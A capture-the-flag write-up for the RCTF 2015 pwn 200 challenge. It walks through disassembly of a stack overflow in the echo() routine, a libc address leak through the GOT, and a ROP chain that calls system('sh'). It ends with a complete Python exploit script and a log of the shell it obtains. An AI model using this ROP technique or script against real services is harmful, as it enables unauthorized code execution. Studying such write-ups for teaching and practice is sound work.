RCTF 2015 pwn 200
@mrexcessive
RCTF 2015 pwn 200
The four pops
The problem
200 points Pwn service on nc 180.76.178.48 6666 64bit C linux program. Binary provided. Pwnable Exploit no-source-provided binary-provided
The solution
First things first: download binary && objdump -d && strings && readelf.
Quick play and look at asm reveals 10 second alarm timer with no noticable checksumming or protection around it. Make a modified binary to play with locally with this annoying timer patched to insigificance.
4007d8: bf 0a 00 00 00 mov $0xa,%edi # LOCAL copy patched to 0xffff 4007dd: e8 ee fd ff ff callq 4005d0 <alarm@plt> # set 10 second alarm
This is a 64bit executable, so parameters to libc and builtins being passed in registers not on stack.
Run checksec.sh reveals no ASLR - so we know code addresses... but we do not know libc or stack/data addresses.
We have NX so exploit must be ROP or ret2libc
$ sudo ./checksec.sh --file welpwn RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH welpwn
First analysis
Only two functions in program:
main() This reads in 0x400 bytes, looks robust and cannot overwrite stack as far as I can see. However there is protection against execution on the stack in place, so ROP is probably what we need to do... maybe somewhere else...
00000000004007cd <main>: 4007cd: 55 push %rbp 4007ce: 48 89 e5 mov %rsp,%rbp 4007d1: 48 81 ec 00 04 00 00 sub $0x400,%rsp 4007d8: bf 0a 00 00 00 mov $0xa,%edi # LOCAL copy patched to 0xffff 4007dd: e8 ee fd ff ff callq 4005d0 <alarm@plt> # set alarm 4007e2: ba 10 00 00 00 mov $0x10,%edx 4007e7: be e7 08 40 00 mov $0x4008e7,%esi "Welcome to RCTF\n" 4007ec: bf 01 00 00 00 mov $0x1,%edi 4007f1: e8 ba fd ff ff callq 4005b0 <write@plt> 4007f6: 48 8b 05 73 08 20 00 mov 0x200873(%rip),%rax # 601070 <__TMC_END__> 4007fd: 48 89 c7 mov %rax,%rdi 400800: e8 1b fe ff ff callq 400620 <fflush@plt> 400805: 48 8d 85 00 fc ff ff lea -0x400(%rbp),%rax # get buffer address 40080c: ba 00 04 00 00 mov $0x400,%edx 400811: 48 89 c6 mov %rax,%rsi 400814: bf 00 00 00 00 mov $0x0,%edi 0 =<stdin> 400819: e8 c2 fd ff ff callq 4005e0 <read@plt> # read 0x400 bytes from <stdin> to %rsi 40081e: 48 8d 85 00 fc ff ff lea -0x400(%rbp),%rax 400825: 48 89 c7 mov %rax,%rdi 400828: e8 f0 fe ff ff callq 40071d# Exploitability must be in here then, echo() 40082d: b8 00 00 00 00 mov $0x0,%eax 400832: c9 leaveq 400833: c3 retq
echo() Pretty sure, even at this stage, that the exploitable hole will be in here somewhere...
000000000040071d &echo>: # input string is at RAX, RSI, RDI and $esp+0x48 40071d: 55 push %rbp 40071e: 48 89 e5 mov %rsp,%rbp 400721: 48 83 ec 20 sub $0x20,%rsp 400725: 48 89 7d e8 mov %rdi,-0x18(%rbp) 400729: c7 05 49 09 20 00 00 movl $0x0,0x200949(%rip) # 60107c <i> 400730: 00 00 00 400733: eb 2e jmp 400763 <echo+0x46> do_ 400735: 8b 05 41 09 20 00 mov 0x200941(%rip),%eax # 60107c <i> -> eax 40073b: 8b 15 3b 09 20 00 mov 0x20093b(%rip),%edx # 60107c <i> -> edx 400741: 48 63 ca movslq %edx,%rcx i -> ecx as qw 400744: 48 8b 55 e8 mov -0x18(%rbp),%rdx edx = &buffer 400748: 48 01 ca add %rcx,%rdx add index 40074b: 0f b6 12 movzbl (%rdx),%edx fetch byte, zero padded to edx 40074e: 48 98 cltq == cdqe extend eax (=<i>) to qw 400750: 88 54 05 f0 mov %dl,-0x10(%rbp,%rax,1) # store byte back (VULN!) 400754: 8b 05 22 09 20 00 mov 0x200922(%rip),%eax # 60107c <i>\ 40075a: 83 c0 01 add $0x1,%eax | i++ 40075d: 89 05 19 09 20 00 mov %eax,0x200919(%rip) # 60107c <i>/ while_ 400763: 8b 05 13 09 20 00 mov 0x200913(%rip),%eax # 60107c <i> 400769: 48 63 d0 movslq %eax,%rdx # sign extend <i> to qw %rdx 40076c: 48 8b 45 e8 mov -0x18(%rbp),%rax # rax = &buffer 400770: 48 01 d0 add %rdx,%rax # add <i> 400773: 0f b6 00 movzbl (%rax),%eax # fetch byte -> eax 400776: 84 c0 test %al,%al # <byte> == 0 ? 400778: 75 bb jne 400735 <echo+0x18> #no.. --> do_ 40077a: 8b 05 fc 08 20 00 mov 0x2008fc(%rip),%eax # 60107c <i> 400780: 48 98 cltq 400782: c6 44 05 f0 00 movb $0x0,-0x10(%rbp,%rax,1) # put a \0 at the length (rax) 400787: 48 8d 45 f0 lea -0x10(%rbp),%rax # rax = &buffer 40078b: 48 89 c6 mov %rax,%rsi -> esi 40078e: bf c4 08 40 00 mov $0x4008c4,%edi "ROIS" 400793: e8 68 fe ff ff callq 400600 <strcmp@plt> # strcmp() 400798: 85 c0 test %eax,%eax 40079a: 75 19 jne 4007b5 <echo+0x98> # -> equal "ROIS", NO --> NOT_ROIS 40079c: bf c9 08 40 00 mov $0x4008c9,%edi "RCTF{Welcome}" 4007a1: b8 00 00 00 00 mov $0x0,%eax 4007a6: e8 15 fe ff ff callq 4005c0 <printf@plt> printf() 4007ab: bf d7 08 40 00 mov $0x4008d7,%edi "is not flag" 4007b0: e8 eb fd ff ff callq 4005a0 <puts@plt> NOT_ROIS: 4007b5: 48 8d 45 f0 lea -0x10(%rbp),%rax # & buffer 4007b9: 48 89 c6 mov %rax,%rsi 4007bc: bf e4 08 40 00 mov $0x4008e4,%edi "%s" 4007c1: b8 00 00 00 00 mov $0x0,%eax 4007c6: e8 f5 fd ff ff callq 4005c0 <printf@plt> not directly vulnerable..., "%s" wrapped 4007cb: c9 leaveq 4007cc: c3 retq
There we go then... echo() copies bytes to a small (0x20) byte buffer from a large (0x400) byte input, with only \0 stopping things... Stack based data-overflow, but into ROP not shellcode.
Some investigation locally and with gdb
Use the excellent socat with our timer-patched-out version
$ socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./welpwn_patched,pty
Use ROPgadget.py to generate gadgets in the binary.
There is not enough here to get a shell, we're going to need libc
BUT we don't know where libc is.
OK two initial objectives
- Get EIP control - which we can eventually use for ROP chain
- Work out how to extract a known reference into libc
I spend a bit of time trying to get a libc address leak, but it is quickly obvious that that's not the right thing to do first.
Extracting information will probably come after getting EIP control - we don't have any exposed printf() - so we can't just send in a string of "%N$08x"
A minor breakthrough
Sending in a recognition pattern and taking it slowly in GDB I'm getting a segfault which is hitting in the RET instruction at end of echo()
Also we have EBP control, which is probably more of a problem than a benefit - but it is usual, so ...
string.ascii_letters*4 (aaaabbbb.... ZZZZ) as input Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0xd6 RBX: 0x0 RCX: 0xd6 RDX: 0x7f767e0877a0 --> 0x0 RSI: 0x7fffff29 RDI: 0x7f767e0862a0 --> 0xfbad2884 RBP: 0x6666666665656565 ('eeeeffff') RSP: 0x7fff89645de8 ("gggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ\n`d\211\377\177") RIP: 0x4007cc (: ret) R8 : 0x7fff8964600a5a5a R9 : 0x7f767dd2d9fa ( : cmp BYTE PTR [rbp-0x4d8],0x0) R10: 0x7f767e0846a0 --> 0x0 R11: 0x246 R12: 0x400630 (<_start>: xor ebp,ebp) R13: 0x7fff896462d0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4007c1 : mov eax,0x0 0x4007c6 : call 0x4005c0 0x4007cb : leave => 0x4007cc : ret On exit from the function. RBP has eeeeffff after LEAVE and segfaults on RET RET is going to : gggghhhh
A complication
So... the exploit isn't overrunning a stack buffer during a read() or fgets()...
It's within the loop within echo() which copies bytes from the input buffer to a local unsafe buffer of only 0x20 bytes.
Unfortunately the copying stops on the first \0 byte, so we can only overwrite either a valid EIP - or a valid EBP... but not both.
I spend several painful hours attempting to show that this isn't so... but it is.
What... to... do... ?
Summarise and re-analyse... What can we do ?
We can mess with bits of ebp, OR all of ebp AND bits (or all) of ret address: inside echo()
but unless send complete qword then there will be a spurious "\n" in the valueWe can't make loop inside echo() overwrite the return address seen at end of main()
I try for a while to make this happen...We can overwrite return address from echo()
but if we do then have to provide a valid ebp value or things quickly go wrong
So, can I just overwrite EIP to return to the start of the program, the PUSH RBP at the start of main() ?
Yes... but then I don't have any information leak... so that's not gained us anything at all.
Is there anywhere we can go which would fix ebp ? and leak data... ? and go round again ?
I try going around a few times...
--- from a single run --- 57 65 6c 63 6f 6d 65 20 - 74 6f 20 52 43 54 46 0a Welcome.to.RCTF. 57 65 6c 63 6f 6d 65 20 - 74 6f 20 52 43 54 46 0a Welcome.to.RCTF. 61 61 61 61 62 62 62 62 - 63 63 63 63 64 64 64 64 aaaabbbbccccdddd 65 65 65 65 66 66 66 66 - cd 07 40 eeeeffff..@ 57 65 6c 63 6f 6d 65 20 - 74 6f 20 52 43 54 46 0a Welcome.to.RCTF. 61 61 61 61 62 62 62 62 - 63 63 63 63 64 64 64 64 aaaabbbbccccdddd 65 65 65 65 66 66 66 66 - cd 07 40 eeeeffff..@
If only we could get a data leak in there... would become much easier, could ROP within the libc, or just call system()
After a considerable time messing about trying to find a single function to reveal information, leak data, and allow the exploit script to retain control...
Regroup
Just jumping to main() straight away is not useful - we haven't had any information leak... grrr....
I spend a considerable while trying to unravel this puzzle.
Then I notice something from the stack trace in GDB... Of course... the original input data, without any special requirements on position of \0 bytes, is lurking further down the stack
RAX: 0x1b RBX: 0x0 RCX: 0x1b RDX: 0x7f51153dc7a0 --> 0x0 RSI: 0x7fffffe4 RDI: 0x7f51153db2a0 --> 0xfbad2884 RBP: 0x7fff0b36b370 ("eeeeffff\315\a@") RSP: 0x7fff0b36b350 --> 0x0 RIP: 0x4007cb (: leave) R8 : 0x4007cd6666666665 R9 : 0x7f51150829fa ( : cmp BYTE PTR [rbp-0x4d8],0x0) R10: 0x7f51153d96a0 --> 0x0 R11: 0x246 R12: 0x400630 (<_start>: xor ebp,ebp) R13: 0x7fff0b36b860 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4007bc : mov edi,0x4008e4 0x4007c1 : mov eax,0x0 0x4007c6 : call 0x4005c0 => 0x4007cb : leave 0x4007cc : ret 0x4007cd : push rbp 0x4007ce : mov rbp,rsp 0x4007d1 : sub rsp,0x400 [------------------------------------stack-------------------------------------] 0000| 0x 7fff 0b36 b350 --> 0x0 0008| 0x7fff0b36b358 --> 0x7fff0b36b380 ("aaaabbbbccccddddeeeeffff\315\a@") 0016| 0x7fff0b36b360 ("aaaabbbbccccddddeeeeffff\315\a@") 0024| 0x7fff0b36b368 ("ccccddddeeeeffff\315\a@") 0032| 0x7fff0b36b370 ("eeeeffff\315\a@") << EBP points here 0040| 0x7fff0b36b378 --> 0x4007cd ( : push rbp) << RET through here as echo() exits 0048| 0x7fff0b36b380 ("aaaabbbbccccddddeeeeffff\315\a@") << ORIGINAL data 0056| 0x7fff0b36b388 ("ccccddddeeeeffff\315\a@ ")
Now ... if I can just jump past the 'broken' parts of the original data (everything up to and including the RET address) then a normal ROP chain can be used.
The four pops
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
Putting this in as the 'single' instruction I can execute... advances the stack pointer into the 'pure' part of the original input buffer, where \0 bytes can be safely included.
So... Now I have a basic attack plan.
Basic Attack Plan
4pops ; to get into the main ROP chain ... ROP_pop rdi ; load rdi with value <address I want to dump> &printf() ; dump the memory &main() ; go around loop again... without restarting process, so libc and data stay put
About this time I find a "sh\0" string in the challenge binary (part of "flush\0") - handy for later...
It doesn't take too long from this point, on local system only, to get a shell.
We can use "print printf" and "print system" in gdb to find the offset
We can use the printf() trick above to get the local &libc.printf from the GOT and calculate &libc.system
So... we have a local shell.
&system on challenge server...
It takes much longer than I would have liked to discover the libc in use on the remote system.
The ROP_printf stops at the first \0... it turns out that the &printf on remote system has a LSB of 0x00
Consequently... I have to amend the macro which builds pointers... and I make a typo when doing that...
Eventually, while going through everything with a fine toothcomb, I find my mistake and get valid candidates for libc from identify.py
./identify.py printf=0x7f7fb9270400 system=? system=0x00007f7fb9262640 ubuntu/libc6_2.19-0ubuntu6.5_amd64/lib/x86_64-linux-gnu/libc-2.19.so system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.4_amd64/lib32/libc-2.11.1.so system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.8_amd64/lib32/libc-2.11.1.so system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.5_amd64/lib32/libc-2.11.1.so system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.2_amd64/lib32/libc-2.11.1.so system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.7_amd64/lib32/libc-2.11.1.so system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu6_amd64/lib32/libc-2.11.1.so system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.6_amd64/lib32/libc-2.11.1.so system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7_amd64/lib32/libc-2.11.1.so system=0x00007f7fb9263ae0 debian/libc6.1_2.0.7.19981211-6_alpha/lib/libc-2.0.7.so system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.1_amd64/lib32/libc-2.11.1.so system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.3_amd64/lib32/libc-2.11.1.so
This gives me three offsets to try... and we get shell pretty much immediately. Flag in home directory.
Win!
./pwnserver.py initial response 57 65 6c 63 6f 6d 65 20 - 74 6f 20 52 43 54 46 0a Welcome.to.RCTF. succeeds 61 61 61 61 62 62 62 62 - 63 63 63 63 64 64 64 64 aaaabbbbccccdddd 65 65 65 65 66 66 66 66 - 9c 08 40 00 00 00 00 00 eeeeffff..@..... a3 08 40 00 00 00 00 00 - 29 10 60 00 00 00 00 00 ..@.....).`..... a0 05 40 00 00 00 00 00 - cd 07 40 00 00 00 00 00 ..@.......@..... 57 65 6c 63 6f 6d 65 20 - 74 6f 20 52 43 54 46 0a Welcome.to.RCTF. 61 61 61 61 62 62 62 62 - 63 63 63 63 64 64 64 64 aaaabbbbccccdddd 65 65 65 65 66 66 66 66 - 9c 08 40 b4 72 2e bc 7f eeeeffff..@.r... 0a . libc.printf() located at 7fbc2e72b400 libc.system() located at 7fbc2e71d640 sending 61 61 61 61 62 62 62 62 - 63 63 63 63 64 64 64 64 aaaabbbbccccdddd 65 65 65 65 66 66 66 66 - 9c 08 40 00 00 00 00 00 eeeeffff..@..... a3 08 40 00 00 00 00 00 - d7 03 40 00 00 00 00 00 ..@.......@..... 40 d6 71 2e bc 7f 00 00 - cd 07 40 00 00 00 00 00 @.q.......@..... Going to telnet... You have control... ls bin boot dev etc home lib lib32 lib64 media mnt opt proc root run sbin srv sys tmp usr var ls home ctf ls home/ctf flag welpwn cat/home/ctf/flag sh: 4: cat/home/ctf/flag: not found cat /home/ctf/flag RCTF{W3LC0M3GUYS_Enjoy1T}
Exploit script
#!/usr/bin/python # pwnserver.py FOR RCTF15/pwn200 #@mrexcessive import os, sys, code import readline, rlcompleter import socket import string import time import struct import telnetlib SERVER = "180.76.178.48" # the actual challenge server PORT = 6666 pauseDebugging = True # use this when debugging locally goTelnetAtEnd = True # enable once you have some kind of expectation that it isn't all screwed up # and you might actually get a shell p = lambda x: struct.pack("<L", x) # from https://gist.github.com/soez/4ee5eb07d4a3982815ad u = lambda x: struct.unpack('<L', x)[0] p64 = lambda x: struct.pack("<Q", x) u64 = lambda x: struct.unpack('<Q', x)[0] localtest = False if localtest: #TESTING LOCALLY SERVER = "localhost" PORT = 1337 debug = True alphanums = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" printables = alphanums + ".,<>?/!$%^&*()_-+=@'#][{}`#" s = None def HexPrint(what): #expects list of ints col = 0 oplineA = "" oplineB = "" for c in what: b = ord(c) oplineA += "%02x " % b if not c in printables: c = '.' oplineB += c if col == 7: oplineA += "- " col += 1 if col >= 16: print oplineA + ' ' * (53-len(oplineA)) + oplineB oplineA = "" oplineB = "" col = 0 if oplineA <> "": # final line if any print oplineA + ' ' * (53-len(oplineA)) + oplineB def DoConnect(): global s s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER,PORT)) assert(s <> None) def GetResponse(dropbefore="",timeout=0.5): global s s.setblocking(0) total_data=[] begin = time.time() while True: if total_data and time.time() - begin > timeout: # wait timeout sec if we have something break elif time.time() - begin > timeout * 2: # wait 2xtimeout if nothing break try: data = s.recv(1024) if data: total_data.append(data) begin = time.time() else: time.sleep(0.1) except: pass op = ''.join(total_data) if dropbefore == "": return op else: print "OP before drop = [%s]" % op (a,b) = op.split(dropbefore,2) return b def PwnServer(): addr_echo = 0x40071d addr_start_main = 0x4007cd addr_write_welcome = 0x4007f1 addr_GOT_fflush = 0x601058 addr_read = 0x4005e0 addr_ADJUSTED_GOT_fflush = addr_GOT_fflush + 0x400 if True: # our main attack atk_4pops = "aaaabbbb" + "ccccdddd" + "eeeeffff" atk_4pops += p64(0x40089c) # ROPgadget 0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ROP_pop_rdi = p64(0x4008a3) # : pop rdi ; ret ROP_call_puts = p64(0x4005a0) # &puts() ROP_call_printf = p64(0x4005c0) # &printf() ROP_call_main = p64(addr_start_main) addr_sh_string = 0x4003d7 # in program binary (end of "flush") if localtest: GOT_printf = p64(0x601028) # &GOT.printf() GOT_read = p64(0x601038) # &GOT.read() else: GOT_printf = p64(0x601029) # (&GOT.printf()) + 1 YYY remote system has \x00 as first byte of printf() address GOT_read = p64(0x601039) # (&GOT.read()) + 1 # setup ROP chain atk_4pops += ROP_pop_rdi atk_4pops += GOT_printf # I want to see its value YYY printf lookup works locally atk_4pops += ROP_call_puts atk_4pops += ROP_call_main # restart main() # eat the initial response r = GetResponse() print "initial response" HexPrint(r) print "succeeds" HexPrint(atk_4pops) s.sendall(atk_4pops + "\n") r = GetResponse() HexPrint(r) if True: # using GOT_printf to locate things if localtest: addr_libc_printf = u64( ( r[-7:-1] + "\0"*8)[:8] ) addr_libc_system = addr_libc_printf - 0xf860 else: # remote has \x00 as LSB of &libc.printf() addr_libc_printf = u64( ( r[-6:-1] + "\0"*8)[:8] ) * 0x100 addr_libc_system = addr_libc_printf - 0xddc0a print "libc.printf() located at %12x" % addr_libc_printf ROP_call_printf = p64(addr_libc_printf) ROP_call_system = p64(addr_libc_system) print "libc.system() located at %12x" % addr_libc_system if True: # followup system() invoking attack atk_sys = "aaaabbbb" + "ccccdddd" + "eeeeffff" atk_sys += p64(0x40089c) # ROPgadget 0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret # setup ROP chain atk_sys += ROP_pop_rdi atk_sys += p64(addr_sh_string) atk_sys += ROP_call_system atk_sys += ROP_call_main # restart main() print "sending" HexPrint(atk_sys) s.sendall(atk_sys + "\n") r = GetResponse() HexPrint(r) if __name__ == "__main__": vars = globals() vars.update(locals()) readline.set_completer(rlcompleter.Completer(vars).complete) readline.parse_and_bind("tab: complete") shell = code.InteractiveConsole(vars) # any startups DoConnect() PwnServer() if goTelnetAtEnd: print "Going to telnet... You have control..." t = telnetlib.Telnet() t.sock = s t.interact()